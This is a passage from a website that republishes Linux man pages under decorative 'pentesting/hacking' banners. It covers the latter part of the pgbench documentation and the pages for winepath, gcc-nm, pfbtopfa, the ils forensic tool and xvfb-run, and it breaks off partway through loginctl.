Another example with –rate=100 and –latency-limit=5 (note the additional schedule_lag column):

0 81 4621 0 1412881037 912698 3005 0 82 6173 0 1412881037 914578 4304 0 83 skipped 0 1412881037 914578 5217 0 83 skipped 0 1412881037 914578 5099 0 83 4722 0 1412881037 916203 3108 0 84 4142 0 1412881037 918023 2333 0 85 2465 0 1412881037 919759 740

In this example, transaction 82 was late, because its latency (6.173 ms) was over the 5 ms limit. The next two transactions were skipped, because they were already late before they were even started.

The following example shows a snippet of a log file with failures and retries, with the maximum number of tries set to 10 (note the additional retries column):

3 0 47423 0 1499414498 34501 3 3 1 8333 0 1499414498 42848 0 3 2 8358 0 1499414498 51219 0 4 0 72345 0 1499414498 59433 6 1 3 41718 0 1499414498 67879 4 1 4 8416 0 1499414498 76311 0 3 3 33235 0 1499414498 84469 3 0 0 failed 0 1499414498 84905 9 2 0 failed 0 1499414498 86248 9 3 4 8307 0 1499414498 92788 0

If the –failures-detailed option is used, the type of failure is reported in the time like this:

3 0 47423 0 1499414498 34501 3 3 1 8333 0 1499414498 42848 0 3 2 8358 0 1499414498 51219 0 4 0 72345 0 1499414498 59433 6 1 3 41718 0 1499414498 67879 4 1 4 8416 0 1499414498 76311 0 3 3 33235 0 1499414498 84469 3 0 0 serialization 0 1499414498 84905 9 2 0 serialization 0 1499414498 86248 9 3 4 8307 0 1499414498 92788 0

When running a long test on hardware that can handle a lot of transactions, the log files can become very large. The –sampling-rate option can be used to log only a random sample of transactions.

Aggregated Logging

With the –aggregate-interval option, a different format is used for the log files. Each log line describes one aggregation interval. It contains the following space-separated fields:

interval_start

start time of the interval, as a Unix-epoch time stamp

num_transactions

number of transactions within the interval

sum_latency

sum of transaction latencies

sum_latency_2

sum of squares of transaction latencies

min_latency

minimum transaction latency

max_latency

maximum transaction latency

sum_lag

sum of transaction start delays (zero unless –rate is specified)

sum_lag_2

sum of squares of transaction start delays (zero unless –rate is specified)

min_lag

minimum transaction start delay (zero unless –rate is specified)

max_lag

maximum transaction start delay (zero unless –rate is specified)

skipped

number of transactions skipped because they would have started too late (zero unless –rate and –latency-limit are specified)

retried

number of retried transactions (zero unless –max-tries is not equal to one)

retries

number of retries after serialization or deadlock errors (zero unless –max-tries is not equal to one)

serialization_failures

number of transactions that got a serialization error and were not retried afterwards (zero unless –failures-detailed is specified)

deadlock_failures

number of transactions that got a deadlock error and were not retried afterwards (zero unless –failures-detailed is specified)

Here is some example output generated with these options:

pgbench –aggregate-interval=10 –time=20 –client=10 –log –rate=1000 –latency-limit=10 –failures-detailed –max-tries=10 test

1650260552 5178 26171317 177284491527 1136 44462 2647617 7321113867 0 9866 64 7564 28340 4148 0
1650260562 4808 25573984 220121792172 1171 62083 3037380 9666800914 0 9998 598 7392 26621 4527 0

Notice that while the plain (unaggregated) log format shows which script was used for each transaction, the aggregated format does not. Therefore if you need per-script data, you need to aggregate the data on your own.

Per-Statement Report

With the -r option, pgbench collects the following statistics for each statement:

·

latency — elapsed transaction time for each statement. pgbench reports an average value of all successful runs of the statement.

·

The number of failures in this statement. See Failures and Serialization/Deadlock Retries for more information.

·

The number of retries after a serialization or a deadlock error in this statement. See Failures and Serialization/Deadlock Retries for more information.

The report displays retry statistics only if the –max-tries option is not equal to 1.

All values are computed for each statement executed by every client and are reported after the benchmark has finished.

For the default script, the output will look similar to this:

starting vacuum…end. transaction type: <builtin: TPC-B (sort of)> scaling factor: 1 query mode: simple number of clients: 10 number of threads: 1 maximum number of tries: 1 number of transactions per client: 1000 number of transactions actually processed: 10000/10000 number of failed transactions: 0 (0.000%) number of transactions above the 50.0 ms latency limit: 1311/10000 (13.110 %) latency average = 28.488 ms latency stddev = 21.009 ms initial connection time = 69.068 ms tps = 346.224794 (without initial connection time) statement latencies in milliseconds and failures: 0.012 0 \set aid random(1, 100000 * :scale) 0.002 0 \set bid random(1, 1 * :scale) 0.002 0 \set tid random(1, 10 * :scale) 0.002 0 \set delta random(-5000, 5000) 0.319 0 BEGIN; 0.834 0 UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid; 0.641 0 SELECT abalance FROM pgbench_accounts WHERE aid = :aid; 11.126 0 UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid; 12.961 0 UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid; 0.634 0 INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP); 1.957 0 END;

Another example of output for the default script using serializable default transaction isolation level (PGOPTIONS=-c default_transaction_isolation=serializable pgbench …):

starting vacuum…end. transaction type: <builtin: TPC-B (sort of)> scaling factor: 1 query mode: simple number of clients: 10 number of threads: 1 maximum number of tries: 10 number of transactions per client: 1000 number of transactions actually processed: 6317/10000 number of failed transactions: 3683 (36.830%) number of transactions retried: 7667 (76.670%) total number of retries: 45339 number of transactions above the 50.0 ms latency limit: 106/6317 (1.678 %) latency average = 17.016 ms latency stddev = 13.283 ms initial connection time = 45.017 ms tps = 186.792667 (without initial connection time) statement latencies in milliseconds, failures and retries: 0.006 0 0 \set aid random(1, 100000 * :scale) 0.001 0 0 \set bid random(1, 1 * :scale) 0.001 0 0 \set tid random(1, 10 * :scale) 0.001 0 0 \set delta random(-5000, 5000) 0.385 0 0 BEGIN; 0.773 0 1 UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid; 0.624 0 0 SELECT abalance FROM pgbench_accounts WHERE aid = :aid; 1.098 320 3762 UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid; 0.582 3363 41576 UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid; 0.465 0 0 INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP); 1.933 0 0 END;

If multiple script files are specified, all statistics are reported separately for each script file.

Note that collecting the additional timing information needed for per-statement latency computation adds some overhead. This will slow average execution speed and lower the computed TPS. The amount of slowdown varies significantly depending on platform and hardware. Comparing average TPS values with and without latency reporting enabled is a good way to measure if the timing overhead is significant.

Failures and Serialization/Deadlock Retries

When executing pgbench, there are three main types of errors:

·

Errors of the main program. They are the most serious and always result in an immediate exit from pgbench with the corresponding error message. They include:

·

errors at the beginning of pgbench (e.g. an invalid option value);

·

errors in the initialization mode (e.g. the query to create tables for built-in scripts fails);

·

errors before starting threads (e.g. could not connect to the database server, syntax error in the meta command, thread creation failure);

·

internal pgbench errors (which are supposed to never occur…).

·

Errors when the thread manages its clients (e.g. the client could not start a connection to the database server / the socket for connecting the client to the database server has become invalid). In such cases all clients of this thread stop while other threads continue to work.

·

Direct client errors. They lead to immediate exit from pgbench with the corresponding error message only in the case of an internal pgbench error (which are supposed to never occur…). Otherwise in the worst case they only lead to the abortion of the failed client while other clients continue their run (but some client errors are handled without an abortion of the client and reported separately, see below). Later in this section it is assumed that the discussed errors are only the direct client errors and they are not internal pgbench errors.

A clients run is aborted in case of a serious error; for example, the connection with the database server was lost or the end of script was reached without completing the last transaction. In addition, if execution of an SQL or meta command fails for reasons other than serialization or deadlock errors, the client is aborted. Otherwise, if an SQL command fails with serialization or deadlock errors, the client is not aborted. In such cases, the current transaction is rolled back, which also includes setting the client variables as they were before the run of this transaction (it is assumed that one transaction script contains only one transaction; see What Is the “Transaction” Actually Performed in pgbench? for more information). Transactions with serialization or deadlock errors are repeated after rollbacks until they complete successfully or reach the maximum number of tries (specified by the –max-tries option) / the maximum time of retries (specified by the –latency-limit option) / the end of benchmark (specified by the –time option). If the last trial run fails, this transaction will be reported as failed but the client is not aborted and continues to work.

Note

Without specifying the –max-tries option, a transaction will never be retried after a serialization or deadlock error because its default value is 1. Use an unlimited number of tries (–max-tries=0) and the –latency-limit option to limit only the maximum time of tries. You can also use the –time option to limit the benchmark duration under an unlimited number of tries.

Be careful when repeating scripts that contain multiple transactions: the script is always retried completely, so successful transactions can be performed several times.

Be careful when repeating transactions with shell commands. Unlike the results of SQL commands, the results of shell commands are not rolled back, except for the variable value of the \setshell command.

The latency of a successful transaction includes the entire time of transaction execution with rollbacks and retries. The latency is measured only for successful transactions and commands but not for failed transactions or commands.

The main report contains the number of failed transactions. If the –max-tries option is not equal to 1, the main report also contains statistics related to retries: the total number of retried transactions and total number of retries. The per-script report inherits all these fields from the main report. The per-statement report displays retry statistics only if the –max-tries option is not equal to 1.

If you want to group failures by basic types in per-transaction and aggregation logs, as well as in the main and per-script reports, use the –failures-detailed option. If you also want to distinguish all errors and failures (errors without retrying) by type including which limit for retries was exceeded and how much it was exceeded by for the serialization/deadlock failures, use the –verbose-errors option.

Table Access Methods

You may specify the Table Access Method for the pgbench tables. The environment variable PGOPTIONS specifies database configuration options that are passed to PostgreSQL via the command line (See Section 20.1.4). For example, a hypothetical default Table Access Method for the tables that pgbench creates called wuzza can be specified with:

PGOPTIONS=-c default_table_access_method=wuzza

Good Practices

It is very easy to use pgbench to produce completely meaningless numbers. Here are some guidelines to help you get useful results.

In the first place, never believe any test that runs for only a few seconds. Use the -t or -T option to make the run last at least a few minutes, so as to average out noise. In some cases you could need hours to get numbers that are reproducible. Its a good idea to try the test run a few times, to find out if your numbers are reproducible or not.

For the default TPC-B-like test scenario, the initialization scale factor (-s) should be at least as large as the largest number of clients you intend to test (-c); else youll mostly be measuring update contention. There are only -s rows in the pgbench_branches table, and every transaction wants to update one of them, so -c values in excess of -s will undoubtedly result in lots of transactions blocked waiting for other transactions.

The default test scenario is also quite sensitive to how long its been since the tables were initialized: accumulation of dead rows and dead space in the tables changes the results. To understand the results you must keep track of the total number of updates and when vacuuming happens. If autovacuum is enabled it can result in unpredictable changes in measured performance.

A limitation of pgbench is that it can itself become the bottleneck when trying to test a large number of client sessions. This can be alleviated by running pgbench on a different machine from the database server, although low network latency will be essential. It might even be useful to run several pgbench instances concurrently, on several client machines, against the same database server.

Security

If untrusted users have access to a database that has not adopted a secure schema usage pattern, do not run pgbench in that database. pgbench uses unqualified names and does not manipulate the search path.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

624 - Linux cli command winepath-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winepath-stable and provides detailed information about the command winepath-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winepath-stable.

NAME 🖥️ winepath-stable 🖥️

Tool to convert Unix paths to/from Win32 paths

SYNOPSIS

winepath *option *{path}

DESCRIPTION

winepath is a tool to convert a Unix path to/from a Win32 (short/long) path compatible with its Microsoft Windows counterpart.

If more than one option is given then the input paths are output in all formats specified, in the order long, short, Unix, Windows. If no option is given the default output is Unix format.

OPTIONS

-u, –unix
converts a Windows path to a Unix path.

-w, –windows
converts a Unix path to a long Windows path.

-l, –long
converts the short Windows path of an existing file or directory to the long format.

-s, –short
converts the long Windows path of an existing file or directory to the short format.

-0
separate output with � character, instead of a newline.

-h, –help
shows winepath help message and exit.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winepath is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

625 - Linux cli command x86_64-linux-gnu-gcc-nm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gcc-nm and provides detailed information about the command x86_64-linux-gnu-gcc-nm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gcc-nm.

NAME 🖥️ x86_64-linux-gnu-gcc-nm 🖥️

nm - a wrapper around nm adding the –plugin option

SYNOPSIS

gcc-nm [OPTION] … [ARGS…]

DESCRIPTION

gcc-nm is a wrapper around nm(1) adding the appropriate –plugin option for the GCC 13 compiler.

OPTIONS

See nm(1) for a list of options that nm understands.

SEE ALSO

nm(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

626 - Linux cli command pfbtopfa

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pfbtopfa and provides detailed information about the command pfbtopfa, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pfbtopfa.

NAME 🖥️ pfbtopfa 🖥️

Convert Postscript .pfb fonts to .pfa format using ghostscript

SYNOPSIS

pfbtopfa input.pfb [output.pfa]

DESCRIPTION

This script invokes gs(1) to convert a .pfb file into a .pfa file.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

627 - Linux cli command ils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ils and provides detailed information about the command ils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ils.

NAME 🖥️ ils 🖥️

List inode information

SYNOPSIS

ils [-emOpvV] [-f fstype ] [-s seconds ] [-i imgtype ] [-o imgoffset ] [-b dev_sector_size] image [images] [start-stop]

ils [-aAlLvVzZ] [-f fstype ] [-s seconds ] [-i imgtype ] [-o imgoffset ] image [images] [start-stop]

DESCRIPTION

ils opens the named image(s) and lists inode information. By default, ils lists only the inodes of removed files.

Arguments:

-e
List every inode in the file system.

-f fstype
Specifies the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-s seconds
The time skew of the original system in seconds. For example, if the original system was 100 seconds slow, this value would be -100.

-m
Display the inode details in the format that the mactime program reads (replaces the ils2mac script from TCT)

-O
List only inodes of removed files that are still open or executing. This option is short-hand notation for -aL “(see the fine controls section below). (this used to be -o).

-p
Display orphan inodes (unallocated with no file name)

-r
(default) List only inodes of removed files. This option is short-hand notation for -LZ (see the fine controls section below).

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-v
Turn on verbose mode, output to stderr.

-V
Display Version.

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

start-stop
Examine the specified inode number or number range.

Fine controls:

-a
List only allocated inodes: these belong to files with at least one directory entry in the file system, and to removed files that are still open or executing.

-A
List only unallocated inodes: these belong to files that no longer exist.

-l
List only inodes with at least one hard link. These belong to files with at least one directory entry in the file system.

-L
List only inodes without any hard links. These belong to files that no longer exist, and to removed files that are still open or executing.

-z
List only inodes that were likely to have not been used.

-Z
List only inodes that were likely to be used.

The output format is in time machine format. The output begins with a two-line header that describes the data origin, and is followed by a one-line header that lists the names of the data attributes that make up the remainder of the output:

st_ino
The inode number.

st_alloc
Allocation status: `a’ for allocated inode, `f’ for free inode.

st_uid
Owner user ID.

st_gid
Owner group ID.

st_mtime
UNIX time (seconds) of last file modification.

st_atime
UNIX time (seconds) of last file access.

st_ctime
UNIX time (seconds) of last inode status change.

st_dtime
UNIX time (seconds) of file deletion (LINUX only).

st_mode
File type and permissions (octal).

st_nlink
Number of hard links.

st_size
File size in bytes.

st_block0,st_block1
The first two entries in the direct block address list.

SEE ALSO

mactime(1)

LICENSE

This software is distributed under the IBM Public License.

HISTORY

First appeared in The Coroners Toolkit (TCT) 1.0.

AUTHOR(S)

Wietse Venema IBM T.J. Watson Research P.O. Box 704 Yorktown Heights, NY 10598, USA

This version is maintained by Brian Carrier (carrier at sleuthkit dot org)

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

628 - Linux cli command xvfb-run

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xvfb-run and provides detailed information about the command xvfb-run, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xvfb-run.

NAME 🖥️ xvfb-run 🖥️

run - run specified X client or command in a virtual X server environment

SYNOPSIS

xvfb-run [ options ] command

DESCRIPTION

xvfb-run is a wrapper for the Xvfb(1x) command which simplifies the task of running commands (typically an X client, or a script containing a list of clients to be run) within a virtual X server environment.

xvfb-run sets up an X authority file (or uses an existing user-specified one), writes a cookie to it (see xauth(1x)) and then starts the Xvfb X server as a background process. The process ID of Xvfb is stored for later use. The specified command is then run using the X display corresponding to the Xvfb server just started and the X authority file created earlier.

When the command exits, its status is saved, the Xvfb server is killed (using the process ID stored earlier), the X authority cookie removed, and the authority file deleted (if the user did not specify one to use). xvfb-run then exits with the exit status of command.

xvfb-run requires the xauth command to function.

OPTIONS

-a, –auto-servernum
Try to get a free server number, starting at 99, or the argument to –server-num.

**-e file, **–error-file=****file
Store output from xauth and Xvfb in file. The default is /dev/null.

**-f file, **–auth-file=****file
Store X authentication data in file. By default, a temporary directory called *xvfb-run.*PID (where PID is the process ID of xvfb-run itself) is created in the directory specified by the environment variable TMPDIR (or /tmp if that variable is null or unset), and the tempfile(1) command is used to create a file in that temporary directory called Xauthority.

-h, –help
Display a usage message and exit.

**-n servernumber, **–server-num=****servernumber
Use servernumber as the server number (but see the -a, –auto-servernum option above). The default is 99.

-l, –listen-tcp
Enable TCP port listening in the X server. For security reasons (to avoid denial-of-service attacks or exploits), TCP port listening is disabled by default.

**-p protocolname, **–xauth-protocol=****protocolname
Use protocolname as the X authority protocol to use. The default is ‘.’, which xauth interprets as its own default protocol, which is MIT-MAGIC-COOKIE-1.

**-s arguments, **–server-args=****arguments
Pass arguments to the Xvfb server. Be careful to quote any whitespace characters that may occur within arguments to prevent them from regarded as separators for xvfb-run’s own arguments. Also, note that specification of ‘-nolisten tcp’ in arguments may override the function of xvfb-run’s own -l, –listen-tcp option, and that specification of the server number (e.g., ‘:1’) may be ignored because of the way the X server parses its argument list. Use the xvfb-run option **-n servernumber, **–server-num=****servernumber to achieve the latter function. The default is ‘-screen 0 1280x1024x24’.

**-w delay, **–wait=****delay
Ignored for compatibility with earlier versions.

ENVIRONMENT

COLUMNS
indicates the width of the terminal device in character cells. This value is used for formatting diagnostic messages. If not set, the terminal is queried using stty(1) to determine its width. If that fails, a value of ‘80’ is assumed.

TMPDIR
specifies the directory in which to place xvfb-run’s temporary directory for storage of the X authority file; only used if the -f or –auth-file options are not specified.

OUTPUT FILES

Unless the -f or –auth-file options are specified, a temporary directory and file within it are created (and deleted) to store the X authority cookies used by the Xvfb server and client(s) run under it. See tempfile(1). If -f or –auth-file are used, then the specified X authority file is only written to, not created or deleted (though xauth creates an authority file itself if told to use use that does not already exist).

An error file with a user-specified name is also created if the -e or –error-file options are specified; see above.

EXIT STATUS

xvfb-run uses its exit status as well as output to standard error to communicate diagnostics. The exit status of ‘1’ is not used, and should be interpreted as failure of the specified command.

0
xvfb-run only uses this exit status if the -h, –help option is given. In all other situations, this may be interpreted as success of the specified command.

2
No command to run was specified.

3
The xauth command is not available.

4
The temporary directory that was going to be used already exists; since xvfb-run produces a uniquely named directory, this may indicate an attempt by another process on the system to exploit a temporary file race condition.

5
A problem was encountered while cleaning up the temporary directory.

6
A problem was encountered while using getopt(1) to parse the command-line arguments.

EXAMPLES

xvfb-run –auto-servernum –server-num=1 xlogo
runs the xlogo(1x) demonstration client inside the Xvfb X server on the first available server number greater than or equal to 1.

xvfb-run –server-args="-screen 0 1024x768x24" ico -faces
runs the ico(1x) demonstration client (and passes it the -faces argument) inside the Xvfb X server, configured with a root window of 1024 by 768 pixels and a color depth of 24 bits.

Note that the demo X clients used in the above examples will not exit on their own, so they will have to be killed before xvfb-run will exit.

BUGS

See the Debian Bug Tracking System ⟨URL: https://bugs.debian.org/xvfb ⟩. If you wish to report a bug in xvfb-run, please use the reportbug(1) command.

AUTHOR

xvfb-run was written by Branden Robinson and Jeff Licquia with sponsorship from Progeny Linux Systems.

SEE ALSO

Xvfb(1x), xauth(1x)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

629 - Linux cli command loginctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command loginctl and provides detailed information about the command loginctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the loginctl.

NAME 🖥️ loginctl 🖥️

Control the systemd login manager

SYNOPSIS

loginctl [OPTIONS…] {COMMAND} [NAME…]

DESCRIPTION

loginctl may be used to introspect and control the state of the systemd(1) login manager systemd-logind.service(8).

COMMANDS

The following commands are understood:

Session Commands

list-sessions

List current sessions. The JSON format output can be toggled using –json= or -j option.

session-status [ID…]

Show terse runtime status information about one or more sessions, followed by the most recent log data from the journal. Takes one or more session identifiers as parameters. If no session identifiers are passed, the status of the callers session is shown. This function is intended to generate human-readable output. If you are looking for computer-parsable output, use show-session instead.

Added in version 233.

show-session [ID…]

Show properties of one or more sessions or the manager itself. If no argument is specified, properties of the manager will be shown. If a session ID is specified, properties of the session are shown. Specially, if the given ID is “self”, the session to which the loginctl process belongs is used. If “auto”, the current session is used as with “self” if exists, and falls back to the current users graphical session. By default, empty properties are suppressed. Use –all to show those too. To select specific properties to show, use –property=. This command is intended to be used whenever computer-parsable output is required. Use session-status if you are looking for formatted human-readable output.

Added in version 233.

activate [ID]

Activate a session. This brings a session into the foreground if another session is currently in the foreground on the respective seat. Takes a session identifier as argument. If no argument is specified, the session of the caller is put into foreground.

Added in version 219.

lock-session [ID…], unlock-session [ID…]

Activates/deactivates the screen lock on one or more sessions, if the session supports it. Takes one or more session identifiers as arguments. If no argument is specified, the session of the caller is locked/unlocked.

Added in version 233.

lock-sessions, unlock-sessions

Activates/deactivates the screen lock on all current sessions supporting it.

Added in version 188.

terminate-session ID

Terminates a session. This kills all processes of the session and deallocates all resources attached to the session. If the argument is specified as empty string the session invoking the command is terminated.

Added in version 233.

kill-session ID

Send a signal to one or more processes of the session. Use –kill-whom= to select which process to kill. Use –signal= to select the signal to send. If the argument is specified as empty string the signal is sent to the session invoking the command.

Added in version 233.

User Commands

list-users

List currently logged in users. The JSON format output can be toggled using –json= or -j option.

user-status [USER…]

Show terse runtime status information about one or more logged in users, followed by the most recent log data from the journal. Takes one or more user names or numeric user IDs as parameters. If no parameters are passed, the status is shown for the user of the session of the caller. This function is intended to generate human-readable output. If you are looking for computer-parsable output, use show-user instead.

Added in version 233.

show-user [USER…]

Show properties of one or more users or the manager itself. If no argument is specified, properties of the manager will be shown. If a user is specified, properties of the user are shown. By default, empty properties are suppressed. Use –all to show those too. To select specific properties to show, use –property=. This command is intended to be used whenever computer-parsable output is required. Use user-status if you are looking for formatted human-readable output.

Added in version 233.

enable-linger [USER…], disable-linger [USER…]

Enable/disable user lingering for one or more users. If enabled for a specific user, a user manager is spawned for the user at boot and kept around after logouts. This allows users who are not logged in to run long-running services. Takes one or more user names or numeric UIDs as argument. If no argument is specified, enables/disables lingering for the user of the session of the caller.

See also KillUserProcesses= setting in logind.conf(5).

Added in version 233.

terminate-user USER

Terminates all sessions of a user. This kills all processes of all sessions of the user and deallocates all runtime resources attached to the user. If the argument is specified as empty string the sessions of the user invoking the command are terminated.

Added in version 233.

kill-user USER

Send a signal to all processes of a user. Use –signal= to select the signal to send. If the argument is specified as empty string the signal is sent to the sessions of the user invoking the command.

Added in version 233.

Seat Commands

list-seats

List currently available seats on the local system. The JSON format output can be toggled using –json= or -j option.

seat-status [NAME…]

